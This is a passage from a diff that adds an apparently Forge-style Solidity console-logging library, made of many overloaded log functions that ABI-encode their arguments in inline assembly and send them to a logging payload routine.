+            // Selector of `log(address,uint256)`.
+            mstore(0x00, 0x8309e8a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(address p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,string)`.
+            mstore(0x00, 0x759f86bb)
+            mstore(0x20, p0)
+            mstore(0x40, 0x40)
+            writeString(0x60, p1)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(bool,address)`.
+            mstore(0x00, 0x853c4849)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(bool p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(bool,bool)`.
+            mstore(0x00, 0x2a110e83)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(bool p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(bool,uint256)`.
+            mstore(0x00, 0x399174d3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(bool p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,string)`.
+            mstore(0x00, 0x8feac525)
+            mstore(0x20, p0)
+            mstore(0x40, 0x40)
+            writeString(0x60, p1)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(uint256,address)`.
+            mstore(0x00, 0x69276c86)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(uint256 p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(uint256,bool)`.
+            mstore(0x00, 0x1c9d7eb3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(uint256,uint256)`.
+            mstore(0x00, 0xf666715a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,string)`.
+            mstore(0x00, 0x643fd0df)
+            mstore(0x20, p0)
+            mstore(0x40, 0x40)
+            writeString(0x60, p1)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(string,address)`.
+            mstore(0x00, 0x319af333)
+            mstore(0x20, 0x40)
+            mstore(0x40, p1)
+            writeString(0x60, p0)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(string,bool)`.
+            mstore(0x00, 0xc3b55635)
+            mstore(0x20, 0x40)
+            mstore(0x40, p1)
+            writeString(0x60, p0)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(string,uint256)`.
+            mstore(0x00, 0xb60e72cc)
+            mstore(0x20, 0x40)
+            mstore(0x40, p1)
+            writeString(0x60, p0)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,string)`.
+            mstore(0x00, 0x4b5c4277)
+            mstore(0x20, 0x40)
+            mstore(0x40, 0x80)
+            writeString(0x60, p0)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,address,address)`.
+            mstore(0x00, 0x018c84c2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,address,bool)`.
+            mstore(0x00, 0xf2a66286)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,address,uint256)`.
+            mstore(0x00, 0x17fe6185)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,address,string)`.
+            mstore(0x00, 0x007150be)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,bool,address)`.
+            mstore(0x00, 0xf11699ed)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,bool,bool)`.
+            mstore(0x00, 0xeb830c92)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,bool,uint256)`.
+            mstore(0x00, 0x9c4f99fb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,bool,string)`.
+            mstore(0x00, 0x212255cc)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,uint256,address)`.
+            mstore(0x00, 0x7bc0d848)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,uint256,bool)`.
+            mstore(0x00, 0x678209a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,uint256,uint256)`.
+            mstore(0x00, 0xb69bcaf6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,uint256,string)`.
+            mstore(0x00, 0xa1f2e8aa)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,string,address)`.
+            mstore(0x00, 0xf08744e8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,string,bool)`.
+            mstore(0x00, 0xcf020fb1)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,string,uint256)`.
+            mstore(0x00, 0x67dd6ff1)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(address,string,string)`.
+            mstore(0x00, 0xfb772265)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p1)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bool p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,address,address)`.
+            mstore(0x00, 0xd2763667)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,address,bool)`.
+            mstore(0x00, 0x18c9c746)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,address,uint256)`.
+            mstore(0x00, 0x5f7b9afb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,address,string)`.
+            mstore(0x00, 0xde9a9270)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,bool,address)`.
+            mstore(0x00, 0x1078f68d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,bool,bool)`.
+            mstore(0x00, 0x50709698)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,bool,uint256)`.
+            mstore(0x00, 0x12f21602)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
